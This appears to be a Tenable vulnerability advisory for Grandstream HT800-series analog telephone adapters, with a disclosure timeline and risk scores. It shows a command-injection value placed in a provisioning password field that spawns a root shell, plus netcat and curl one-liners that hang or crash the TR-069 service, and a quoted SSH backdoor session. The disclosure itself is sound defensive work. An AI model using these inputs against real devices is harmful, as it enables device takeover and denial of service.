# Grandstream ATA HT800 Series Multiple Vulnerabilities

Critical

## Synopsis

While investigating a Grandstream ATA HT814, Tenable discovered multiple vulnerabilities.

### CVE-2020-5760: Provisioning Command Injection

Tenable found the HT800 series is vulnerable to command injection via the configuration file when P240 is set to 1 and P2 (password) contains shell metacharacters. For example:

```
P2=`telnetd%24{IFS}-l/bin/sh`
```

Furthermore, Tenable found that an unauthenticated remote attacker could trigger this injection via a x-gs-ucm-url SIP message. We created a proof of concept called sip_provision_exploit.py that starts a root bindshell on port 23. You can find it on our GitHub.

### CVE-2020-5761: TR-069 Infinite Loop (CPU Exhaustion)

The device's TR-069 service falls into an infinite loop if an unauthenticated remote attackers sends a TCP message that doesn't contain a carriage return character ('\r'). The TR-069 service will then consume almost all of the system's CPU until the system is rebooted.

This is trivially reproduced using sending a single character with netcat and terminating the connection:

```
albinolobster@ubuntu:~$ echo -ne '\n' | nc 192.168.1.200 7547
^C
albinolobster@ubuntu:~$
```

### CVE-2020-5762: TR-069 NULL Pointer Dereference (DoS)

The device's TR-069 service will crash due to a NULL pointer dereference when an unauthenticated remote HTTP GET request contains an Authentication field that isn't a well formed digest-challenge. The TR-069 service doesn't get restarted after the crash.

This is easily reproduced by using basic authentication with curl:

```
albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe

Trying 192.168.1.200:7547...
TCP_NODELAY set
Connected to 192.168.1.200 (192.168.1.200) port 7547 (#0)
Server auth using Basic with user 'admin'
> GET /cpe HTTP/1.1
> Host: 192.168.1.200:7547
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.65.3
> Accept: /
>
Empty reply from server
Connection #0 to host 192.168.1.200 left intact
curl: (52) Empty reply from server
albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe
Trying 192.168.1.200:7547...
TCP_NODELAY set
connect to 192.168.1.200 port 7547 failed: Connection refused
Failed to connect to 192.168.1.200 port 7547: Connection refused
Closing connection 0
curl: (7) Failed to connect to 192.168.1.200 port 7547: Connection refused
albinolobster@ubuntu:~$
```

### CVE-2020-5763: SSH Backdoor

The device's SSH interface contains a backdoor to a root shell. As far as we know, Lorenzo Santina (BigNerd95) was the first to discover and publish this issue. The following output is from Mr. Santina's GitHub repository:

```
$ ssh admin@192.168.1.100
Grandstream HT802 Command Shell Copyright 2006-2018
admin@192.168.1.100's password:
GS> gssu
Challenge: b319d6c803a2f142
Response:
# uname -a
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 #27 PREEMPT Mon Aug 20 15:19:59 CST 2018 armv5tejl GNU/Linux
```

**Note:** Tenable chose CWE-912 over the NVD-assigned CWE-326 for CVE-2020-5763 due to the following:

- CWE-326 is for the storage or transmission of sensitive data using inadequate encryption strength. That does not apply to this vulnerability.

## Solution

At the time of publication, no solution exists.

## Disclosure Timeline

04/30/2020 - Reported via ticketing system.
04/30/2020 - Grandstream asks about the PoC.
04/30/2020 - Tenable responds.
04/30/2020 - Grandstream thanks Tenable.
05/04/2020 - Grandstream asks for clarification on the info disclosure issue.
05/04/2020 - Tenable provides a curl screenshot.
05/04/2020 - Grandstream asks about the gssu backdoor.
05/04/2020 - Tenable sends a GitHub link.
05/05/2020 - Tenable and Grandstream exchange a flurry of messages about the info disclosure. Grandstream determines this is not an issue.
05/11/2020 - Grandstream asks for clarification on the replay attack.
05/11/2020 - Tenable cites a passage from RFC 7616.
05/11/2020 - Grandstream thanks Tenable.
05/13/2020 - Grandstream asks Tenable to test fixes.
05/13/2020 - Tenable is confused about the test firmware version and Grandstream helps clarify.
05/14/2020 - Tenable acknowledges fixes for the command injection, the backdoor, the replay issue, the null ptr dereference, and the infinite loop.
05/14/2020 - Grandstream thanks Tenable.
06/16/2020 - Grandstream asks Tenable to look at another firmware version.
06/18/2020 - Tenable indicates no availability until next Monday.
06/18/2020 - Grandstream acknowledges.
06/22/2020 - Grandstream reminds Tenable about testing the firmware.
06/22/2020 - Tenable confirms the fixes again.
06/22/2020 - Grandstream thanks Tenable.

## Risk Information

**CVE ID:** CVE-2020-5760
CVE-2020-5761
CVE-2020-5762
CVE-2020-5763
**Tenable Advisory ID:** TRA-2020-47
**Credit:** Tenable

**CVSSv2 Base / Temporal Score:** 10.0 / 9.5
**CVSSv2 Vector:** AV:N/AC:L/Au:N/C:C/I:C/A:C
**Affected Products:** Grandstream HT800 Series 1.0.17.5 and below
**Risk Factor:** Critical

## Advisory Timeline

07/29/2020 - Initial Release
11/19/2020 - Added note regarding CWE choice

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